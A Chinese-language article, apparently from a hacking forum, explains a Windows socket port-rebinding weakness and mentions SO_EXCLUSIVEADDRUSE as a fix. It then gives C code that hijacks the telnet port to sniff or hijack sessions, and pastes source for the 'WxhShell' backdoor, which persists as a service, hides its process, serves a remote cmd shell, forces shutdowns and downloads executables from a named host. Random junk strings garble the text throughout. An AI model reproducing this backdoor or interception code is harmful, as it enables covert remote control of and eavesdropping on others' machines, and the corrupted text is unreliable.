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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $vs],C"pX s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8 v/H;65 %U\,IO `g saddr.sin_family = AF_INET; lw@Yn>eza K*~{M+lU7 saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3=O [Q :8 w1/QnV bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oD2:19M@p Z&
_kq| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x[0T$ nWd!ovd 这意味着什么?意味着可以进行如下的攻击: wvv+~K9jq Z"`w>c. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )lG}B U. >h7(kj: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yE:y[k0E j~q 7v
`": 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y=Y k$:-y Zxebv#4 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 :?M_U;;z2+ DQG%`-J 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 GcV/_Y qc8Ge\3s 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x3+
-wv M':-f3aT% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vjEDd`jYZ q/s-".%P #include 'O<b'}-A #include q[s,q3n~ #include \{h_i
FU! #include { DYY9MG8 DWORD WINAPI ClientThread(LPVOID lpParam); S?688 int main() K9N31' { _^iY;& WORD wVersionRequested; %1?t)Bg DWORD ret; Z(MZbzY7Hq WSADATA wsaData; CFpBosoFt^ BOOL val; ;4 ;gaf SOCKADDR_IN saddr; ?8~l+m6s$ SOCKADDR_IN scaddr; 6#z8 %kaX int err; 6H|SiO9 SOCKET s; '2^}de!E SOCKET sc; /~,*DH$) int caddsize; Ao K9=F} HANDLE mt; $kUB%\` DWORD tid; 72nZ`u wVersionRequested = MAKEWORD( 2, 2 ); )tlj{ 7p err = WSAStartup( wVersionRequested, &wsaData ); iv*RE9?^ if ( err != 0 ) { |8` }8vo) printf("error!WSAStartup failed!\n"); ex>7f%\ return -1; 9\8ektq}Z } R27'00(Z0 saddr.sin_family = AF_INET; x6cG'3&T mP)bOAU //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zyPb\/ c=v016r\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $ }/tlA&e saddr.sin_port = htons(23); aL(G0@( if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j4XVk@'OX { 64'2ICf#m printf("error!socket failed!\n"); O=%Ht-kOc return -1; bxa>:71 } :<g0Ho?e val = TRUE; _7!ZnJrR //SO_REUSEADDR选项就是可以实现端口重绑定的 @X/ 1`Mp if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B-
@bU@H { 6,q0F*q printf("error!setsockopt failed!\n"); tddwnpnSw return -1; %R GZu\p } & AK\Pw) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]!ai?z%cK# //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %{
BV+& //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h1~h&F? %bw+>:Tr if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g 4+K"Q/M { 6FDj :~ ret=GetLastError(); qc(e3x printf("error!bind failed!\n"); )>~jjR return -1; jf)cDj2 } ^\PRzY listen(s,2); ';R]`vWFe while(1) QGN+f) { 2TGND-(j caddsize = sizeof(scaddr); x-i,v"8 //接受连接请求 S(.J sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); nmpc<&<< if(sc!=INVALID_SOCKET) 7rD 8 { #M!u';bZ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z}-CU GS if(mt==NULL) gdIk%m4 { /Xi21W/ printf("Thread Creat Failed!\n"); 0(i3RPIj\ break; _i>_S n1" } 1gK|n } )M;~j CloseHandle(mt); b_sasZo } SY
Bp-o closesocket(s); & %/p;::A WSACleanup(); K~#?Y,}O return 0; e6p3!)@P1 } M4Cb(QAVP DWORD WINAPI ClientThread(LPVOID lpParam) I'xc$f_+ { (?Ko:0+* SOCKET ss = (SOCKET)lpParam; Ucv7`W
gr SOCKET sc; hTa X@=Ra unsigned char buf[4096]; P4B|l: SOCKADDR_IN saddr; i6yA>#^ long num; A{>w5T DWORD val; '/`O*KD] DWORD ret; @vq)Y2)r\ //如果是隐藏端口应用的话,可以在此处加一些判断 cn}15JHdR //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Q m*z saddr.sin_family = AF_INET; 4-
QlIIf saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J4eU6W+ { saddr.sin_port = htons(23); C9+rrc@4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zuNm!$ {
kb 74: printf("error!socket failed!\n"); }@LIb<Y return -1; 0V6, &rTF } q25p3 val = 100; o|>=<l if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ="]lN { |8E~C~d ret = GetLastError(); zwUC
L return -1; Mq~E'g4# } ZC2aIJ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z?13~e[D { dWzf C@] ret = GetLastError(); @~vg=(ic( return -1; R:n|1]*f3X } bbq`gEV if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) OybmyGHY { e!0xh printf("error!socket connect failed!\n"); 2MB>NM<xO closesocket(sc); ajkV"~w',| closesocket(ss); Q"s6HZ"YI return -1; F3V:B.C } }c||$ while(1) cAN8'S(s1 { n',7=~ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .WSn Y71 //如果是嗅探内容的话,可以再此处进行内容分析和记录 41/civX>V //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Tp@Yn num = recv(ss,buf,4096,0); Q1Qw45$ if(num>0) (,sz. send(sc,buf,num,0); vE`;1UA} else if(num==0) cFie;k break; a1_ N~4r` num = recv(sc,buf,4096,0); N5l`Rq^K if(num>0) ax5n} send(ss,buf,num,0); @[joM*U else if(num==0) w}6~t\9D break; 47Vt8oyh% } '`k closesocket(ss); M
&-p closesocket(sc); e?XGv0^qu return 0 ; U1yspHiZ } \2f?)id~ x`p908S^ Z[RifqaBby ========================================================== $rjm MSxi !#5y%Bf 下边附上一个代码,,WXhSHELL BVv-1$ U^ '&|%^9O/" ========================================================== \(?d2$0m >)[W7h #include "stdafx.h" .ezko\nU K)Ya%%6[U# #include <stdio.h> v-F|#4Q=ut #include <string.h> F_}y[Yn^ #include <windows.h> : @gW3' #include <winsock2.h> isnpSN"z #include <winsvc.h> <X5V]f #include <urlmon.h> +5GC?cW Zic:d-Q47 #pragma comment (lib, "Ws2_32.lib") RLw/~ #pragma comment (lib, "urlmon.lib") a[=B?Bd *xeJ4h #define MAX_USER 100 // 最大客户端连接数 `]&'yt #define BUF_SOCK 200 // sock buffer 4&L,QSJ V #define KEY_BUFF 255 // 输入 buffer 'o8,XBv- =xH>,-8} #define REBOOT 0 // 重启 |f}`uF #define SHUTDOWN 1 // 关机 *MWI`=c : T4ap_Ycq #define DEF_PORT 5000 // 监听端口 i&}LuF8 /PBK:B #define REG_LEN 16 // 注册表键长度 ~ayU\4B #define SVC_LEN 80 // NT服务名长度 cnDBT3$~Z #\}xyPS // 从dll定义API x;7p75Wm typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =lh&oPc1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >LU !Z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (elkk# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &3 ~R-$P X=k|SayE8 // wxhshell配置信息 lzz68cT struct WSCFG { ]V"B`ip[2 int ws_port; // 监听端口 taSYR$VJ char ws_passstr[REG_LEN]; // 口令 !6+V
int ws_autoins; // 安装标记, 1=yes 0=no QSo48OFs char ws_regname[REG_LEN]; // 注册表键名 cPl$N5/5 char ws_svcname[REG_LEN]; // 服务名 (>om.FM char ws_svcdisp[SVC_LEN]; // 服务显示名 ;p(Doy)i char ws_svcdesc[SVC_LEN]; // 服务描述信息 Fz$^CMw5K char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T,4REbm^ int ws_downexe; // 下载执行标记, 1=yes 0=no Eo{js?1G_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" d:n.Vp char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l'\m'Ioh qS[nf>" }; 4L2TsuLw p:4oA<V // default Wxhshell configuration 3{-
8n/4
k struct WSCFG wscfg={DEF_PORT, rdm&YM`J "xuhuanlingzhe", YR~)07 1, ?CuwA-j "Wxhshell", K&iU+ "Wxhshell", u+]8Sq "WxhShell Service", !2g*=oY "Wrsky Windows CmdShell Service", #Ic-?2Gn4< "Please Input Your Password: ", vj<JjGP 1, ?w "zW6U " http://www.wrsky.com/wxhshell.exe", Qnv)\M1 "Wxhshell.exe" Ykj+D7rA: }; 0qo:M3 )L7h:%h# // 消息定义模块 wEb10t, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~0gHh char *msg_ws_prompt="\n\r? for help\n\r#>"; (,
uW- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; IaR D"oCH char *msg_ws_ext="\n\rExit."; V0F&a~Q char *msg_ws_end="\n\rQuit."; /:aY)0F0<& char *msg_ws_boot="\n\rReboot..."; r(c8P6_ char *msg_ws_poff="\n\rShutdown..."; ^/$bd4,z char *msg_ws_down="\n\rSave to "; sxU
0Fg 4Y}{?]>pu char *msg_ws_err="\n\rErr!"; Wr\A ->+ char *msg_ws_ok="\n\rOK!"; rTtxmw0 _B^Q;54c char ExeFile[MAX_PATH]; Vqxxm&^P int nUser = 0; .L}k-8 HANDLE handles[MAX_USER]; HO9w"){d$ int OsIsNt; xU;;@9X &X
OFc.u SERVICE_STATUS serviceStatus; VPXUy=W SERVICE_STATUS_HANDLE hServiceStatusHandle; a}/ A]mu tx||<8 // 函数声明 6Y&`mgMF' int Install(void); Bh<6J&<n int Uninstall(void); AqucP@ int DownloadFile(char *sURL, SOCKET wsh); BBlYy5x int Boot(int flag); ,LVZ void HideProc(void); J'Y;j^ int GetOsVer(void); 4b:q84 int Wxhshell(SOCKET wsl); q!\4|KF~ void TalkWithClient(void *cs); *t,1(Gw|7q int CmdShell(SOCKET sock); Alpk5o5B int StartFromService(void); 'yR)z\) int StartWxhshell(LPSTR lpCmdLine); p5\B0G<m \d}>@@U& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YGf<! VOID WINAPI NTServiceHandler( DWORD fdwControl ); EK$3T5e 9B?-&t // 数据结构和表定义 }GL@?kAGR5 SERVICE_TABLE_ENTRY DispatchTable[] = &*8_ w- { oZ,_ G,b^ {wscfg.ws_svcname, NTServiceMain}, ![9umsx {NULL, NULL} 5V@c~1\ }; {Etvu 3
G_0DS // 自我安装 ,v$Q:n| int Install(void) kqQT^6S { 25{-GaB char svExeFile[MAX_PATH]; xY>@GSO1 HKEY key; qPF`=# strcpy(svExeFile,ExeFile); G[$g-NU+ ]-"G:r // 如果是win9x系统,修改注册表设为自启动 < wi9
if(!OsIsNt) { ce:p* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~EtwX YkRZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v8f1o$R RegCloseKey(key); yXT8:2M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y7~y@ 2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @A'@%Zv- RegCloseKey(key); b|oT!s return 0; @L?KcGD } d J>~ } D$Eq~VQ } z}w7X6&e else { O+OUcMa, SNtk1pG> // 如果是NT以上系统,安装为系统服务 zd|n!3; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Dl@Jj?zc if (schSCManager!=0) gy>B
5ie { Q@KCODi SC_HANDLE schService = CreateService S`8Iu[Ma ( OXJ'-EZH schSCManager, ir|c<~_= wscfg.ws_svcname, .tcdqL-' wscfg.ws_svcdisp, !|Wf
mU SERVICE_ALL_ACCESS, +\]Gu(z< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Xz`0nU SERVICE_AUTO_START, L3=5tuQ[5 SERVICE_ERROR_NORMAL, #/B g5: svExeFile, Swr4De_5 NULL, 7-gT: NULL, Q_>W!)p Gz NULL, Q[{RNab NULL, |'-%d^Z NULL ;SIWWuk ); EF6h>"']/ if (schService!=0) !<24Cy { S$ffTdRz CloseServiceHandle(schService); F3hG8YX CloseServiceHandle(schSCManager); "hi03k strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,x$^^ strcat(svExeFile,wscfg.ws_svcname); 1yVhO2`7] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5|5p -B RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4*&k~0#t RegCloseKey(key); uP+VS>b return 0; WdH/^QvTP } A=3L_
#nO } 0` .5gxm CloseServiceHandle(schSCManager); l0C`teO
} YS_3Cq } sn"z'=ch 3{fg3? return 1; Uo71C 4ev } w@<II-9L)< ^qnmKA>"F // 自我卸载 ^GyZycch int Uninstall(void) e[16
7uU { ,yA[XAz~U HKEY key; k/D{&(F ~ J>5 rkR@/ if(!OsIsNt) { xJ2I@*DN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :eSsqt9]9 RegDeleteValue(key,wscfg.ws_regname); ] |nW RegCloseKey(key); [q_+s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vENf3;o0 RegDeleteValue(key,wscfg.ws_regname); /0 4US5En RegCloseKey(key); > (9\ cF{ return 0; eIfQ
TV } 4e Y?#8 } NB4O,w } tM^4K r~o, else { }Uwji c(e>Rmh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #K6cBfqI if (schSCManager!=0) EG;E !0 { - X71JU SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [IQ|c?DxpL if (schService!=0) ZGDT
6, { kJp~'\b if(DeleteService(schService)!=0) { 2Jio_Hk CloseServiceHandle(schService); 80wzn,o
S CloseServiceHandle(schSCManager); \?d3Pn5` return 0; [104;g < } }}{n|l+R5 CloseServiceHandle(schService); qfyZda0d } p.SipQ.P CloseServiceHandle(schSCManager); 6FQi=}O 1 } `X}:(O^GO } ylKK!vRHT ^Aq0< return 1; $KO2+^%y } w{6C4~0 :Iv;%a0 - // 从指定url下载文件 `;E/\eG" int DownloadFile(char *sURL, SOCKET wsh) uv27Vos { 2t-w0~O HRESULT hr; {O^u^a\m char seps[]= "/"; &(rWl`eTY` char *token; e~9O#rQI char *file; 6:]N% char myURL[MAX_PATH]; S3E,0%yo+) char myFILE[MAX_PATH]; e "A" rP3HR5 strcpy(myURL,sURL); CwA_jOp token=strtok(myURL,seps); ~ELMLwn. while(token!=NULL) IW3k{z { (Q^sK\ file=token; 2}r=DAe0 token=strtok(NULL,seps); lmvp,BzC } i#]e&Bru5 a /sj W GetCurrentDirectory(MAX_PATH,myFILE); 4Z( #;9f strcat(myFILE, "\\"); L>1hiD& strcat(myFILE, file); B7C3r9wj send(wsh,myFILE,strlen(myFILE),0); (+>
2&@@< send(wsh,"...",3,0); }}JMwT
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pk/#RUfT+ if(hr==S_OK) Nr~$i% [ return 0; dAh.I3 else r9i?H return 1; 7K1-.uQ bbK};u } )/H;5 cn Oj5UG* // 系统电源模块 ~~tTr$ int Boot(int flag) GXtMX ha, { &S,D;uhF HANDLE hToken; 'o>)E> TOKEN_PRIVILEGES tkp; rs&]46i/p { mi}3/ if(OsIsNt) { I`kfe`_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Zd*$^P,| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?"6Zf LRi tkp.PrivilegeCount = 1; m[9.'@ye tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eUyF<j AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Td=4V,BN if(flag==REBOOT) { mmAm@/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RgJ@J/p" return 0; xY^sC56Z } oL<#9)+2* else { x84!/n^z if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :xh{SsW@ return 0; \Pg~j\;F] } 37#&:[w> } $*yYmF else { CVj^{||eF if(flag==REBOOT) { {i5?R,a) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PobX;Z return 0; XH%L] } _5oTNL2 else { ]K=#>rZrB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q#bW"},^k return 0; Av X1* } p@<Q? } h3ygL" k [BWq9uE return 1; )DSeXS[
e } j{@O%fv= z+"tAVB[i // win9x进程隐藏模块 Lkt4F void HideProc(void) ;Rrh$Ag { }V?m
=y [ wq)*bIv HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
q6
CrUn if ( hKernel != NULL ) BZq#OAp { dbp\tWaW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _jWs(OmJ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ox3=1M0 FreeLibrary(hKernel); H4$qM_N } L*@`i ]jl =|t-0'RsN return; l45/$G7 } Y]z
:^D <2$vo // 获取操作系统版本 ]l,BUf-O int GetOsVer(void) ?OD$`{1 { b!<_ JOL2. OSVERSIONINFO winfo; #M,&g{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +8Xjk\Hi GetVersionEx(&winfo); z7K{ ,y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hon2;-:]{] return 1; 8 Rx@_ else i8iT}^ return 0; 5`;SI36" } X! d-"[ bI):-2&s} // 客户端句柄模块 'aSsyD!?< int Wxhshell(SOCKET wsl) $)lkiA&; { $?= $F SOCKET wsh; ]so/AdT9hA struct sockaddr_in client; 2Q^q$@L DWORD myID; Llfl I #bOv}1,s while(nUser<MAX_USER) c%&,(NJ]K { "?"
: int nSize=sizeof(client); !np_B0` wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Mz@{_*2 if(wsh==INVALID_SOCKET) return 1; 7?.uAiM'zT <)qa{,GX\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =RoE=)1&- if(handles[nUser]==0) L&\W+k closesocket(wsh); -[mmT'sS else A95f!a nUser++; 2&6D`{"P } RdCGK?s WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u>XXKlW: ,NO[Piok return 0; }7PJr/IuF } -l[H]BAMXy 9z,sn#-t // 关闭 socket dXyMRGRUq void CloseIt(SOCKET wsh) CD1Ma8I8 { B`SX3,3 closesocket(wsh); ;>,B(Xz4i nUser--; 9Po>laT
5 ExitThread(0); h#1:ypA6l } 5Tn< qlhc"}5x } // 客户端请求句柄 2dts}G void TalkWithClient(void *cs) VL#:oyWA { }T_"Vg q 'o='Q)Dk SOCKET wsh=(SOCKET)cs; 8vx
ca]DcV char pwd[SVC_LEN]; 8)>>EN8 R char cmd[KEY_BUFF]; Zma;An6 char chr[1]; r^k+D<k[7 int i,j; "rdpA[>L XX=OyDLqP while (nUser < MAX_USER) { kEh9J>|M FH</[7f;@N if(wscfg.ws_passstr) { 2j
f!o if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |=5zI6pT //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D;sG9Hky //ZeroMemory(pwd,KEY_BUFF); &Wy>t8DIK i=0; ^"Bhp:o2 while(i<SVC_LEN) { o0Teect= W@!qp // 设置超时 Mg >%EH/' fd_set FdRead; GwO`@-}E struct timeval TimeOut; NXD- FD_ZERO(&FdRead); ]ty$/{hx' FD_SET(wsh,&FdRead); %XR(K@V TimeOut.tv_sec=8; =2q#- ,t TimeOut.tv_usec=0; :@(1~Hm int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (~Z&U if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s<*+=aIfu (ot,CpI(I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i59}6u_f pwd =chr[0]; M|nLD+d~8 if(chr[0]==0xd || chr[0]==0xa) { gpq ,rOIK pwd=0; n)N!6u break; ts=D } [XPAI[" i++; eNfH9l2k } f (C:J[;Z <\nM5-wR // 如果是非法用户,关闭 socket zMepF]V if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =nHkFi@D=t } eP (*. w#2apaz send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0~<?*{~ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 75>%!mhM RrLj5 Jq while(1) { M19O^P>[ ;\"5)S ZeroMemory(cmd,KEY_BUFF); 'h ? lB2F09` // 自动支持客户端 telnet标准 .NWsr*Tel j=0; `?T::&` while(j<KEY_BUFF) { J3+qnT8X if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #++:`Z cmd[j]=chr[0]; zM8 jjB if(chr[0]==0xa || chr[0]==0xd) { Zk7!CJVM cmd[j]=0; 4]}d'x& break; p v4#`.m } [4EIy" j++; l_((3e[) } nYC.zc*o x r:rPzq1 // 下载文件 bs}SFT L if(strstr(cmd,"http://")) { @WXRZEz send(wsh,msg_ws_down,strlen(msg_ws_down),0); zgS)j9q} if(DownloadFile(cmd,wsh)) %X}D(_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); DZ`,QWuA else 8bw,dBN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (g dzgLHy }
w@mCQ$ else { N f?\O@ C(sz/x?11 switch(cmd[0]) { z$Z%us>io J;V#a=I // 帮助 Hl}m*9<9us case '?': { * W"Pv,: send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'e>'JZR break; |Eu#mN } TJcHqzcUc // 安装 :3se/4y} case 'i': { }WR@%)7ay if(Install()) yqJ>Z%)hf send(wsh,msg_ws_err,strlen(msg_ws_err),0); gjJ:s,Fg else !!6@r|. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ee<'j~{A break; Qm[ ) [M } ,S}wOjb@ // 卸载 8XfOMf~d` case 'r': { fX
LsLh+~D if(Uninstall()) SbtZhg=S_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); v&])D/a else kT^`j^Jr send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sld cI@Z break; HS.eK#:N } Pr/q?qZY // 显示 wxhshell 所在路径 wLq#,X>%B case 'p': { T[ zEAj char svExeFile[MAX_PATH]; -t*P=V|@ strcpy(svExeFile,"\n\r"); $ -]9/Ct strcat(svExeFile,ExeFile); [7{cf`C send(wsh,svExeFile,strlen(svExeFile),0);
khP Ub, break; 9:!V":8q } <?rdhx // 重启 |UQGZ case 'b': { ) C#>@W send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o~x49%X<c if(Boot(REBOOT)) }o=s"0 a send(wsh,msg_ws_err,strlen(msg_ws_err),0); C61E=$ else { ?,r}@89pY closesocket(wsh); U@".XIDQ ExitThread(0);
6(B[(Af } A2nL=9~
break; +W|VCz } T#YJ5Xw // 关机 YB9)v5Nz( case 'd': { |v"&Y send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _]kw |[) if(Boot(SHUTDOWN)) 8$ _8Yva"e send(wsh,msg_ws_err,strlen(msg_ws_err),0); jq[Q>"f
else { DbN_(mC closesocket(wsh); Zu ![v0 ExitThread(0); a;G>56iw } <[z9*Tm break; o|1_I?_ } \2[ // 获取shell {%v{iE> case 's': { XAUHF-"WE CmdShell(wsh); 2()/l9.O' closesocket(wsh); Ix.Y_} ExitThread(0); <OGXKv@ break; -aM7>YR } ]L!:/k,=S // 退出 sWMY
Lo case 'x': { K1*V \WRW5 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zRA,Yi4;+ CloseIt(wsh); e~G um break; )VkH':yCM } ! ?GW<Rh // 离开 0PJ7o#}_{@ case 'q': { +Y440Tz send(wsh,msg_ws_end,strlen(msg_ws_end),0); a_Z[@W closesocket(wsh); l7S&s&W @ WSACleanup(); ,z|g b]\ exit(1); 9y*pn|A[F break; ,M9Hdm } cD9axlJ } =\x(Rs3 } \r&9PkHWo ka| 8 _C^z // 提示信息 w*IDL0# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kw&t\},8@ } 2PEA<{u } Q|nGY:98 =U3rOYbP; return; k`r`ZA(kQ- } E3 aj 8i?:aN[.1b // shell模块句柄 nCdxn#| int CmdShell(SOCKET sock) j#
!U6T { 2!g7F`/B STARTUPINFO si; ,&rHBNS ZeroMemory(&si,sizeof(si)); hD>cxo si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {Nny.@P)H si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 94GF8P PROCESS_INFORMATION ProcessInfo; OVU+V 0w1a char cmdline[]="cmd"; ])$Rw$`w CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vuNq7V*} return 0; &265
B_'D } VgcLG ]tE[ pJ3Yjm[l // 自身启动模式 9 az{j1 int StartFromService(void) J=AF`[ { 3YJa3fflK typedef struct =.8fES { VL| q`n DWORD ExitStatus; )CUB7D)= DWORD PebBaseAddress; s(shgI 3g DWORD AffinityMask; !5=S2<UX DWORD BasePriority; PNhxF C. ULONG UniqueProcessId; qfl #ki`, ULONG InheritedFromUniqueProcessId; b]xE^zM-I` } PROCESS_BASIC_INFORMATION; zpBkP-%}E [}Pi $at PROCNTQSIP NtQueryInformationProcess; p1B~F Z<@dM2b) static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vZ/Bzy@| static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &BS*C} }, qCku
q HANDLE hProcess; yZw5?{g@ PROCESS_BASIC_INFORMATION pbi; "6
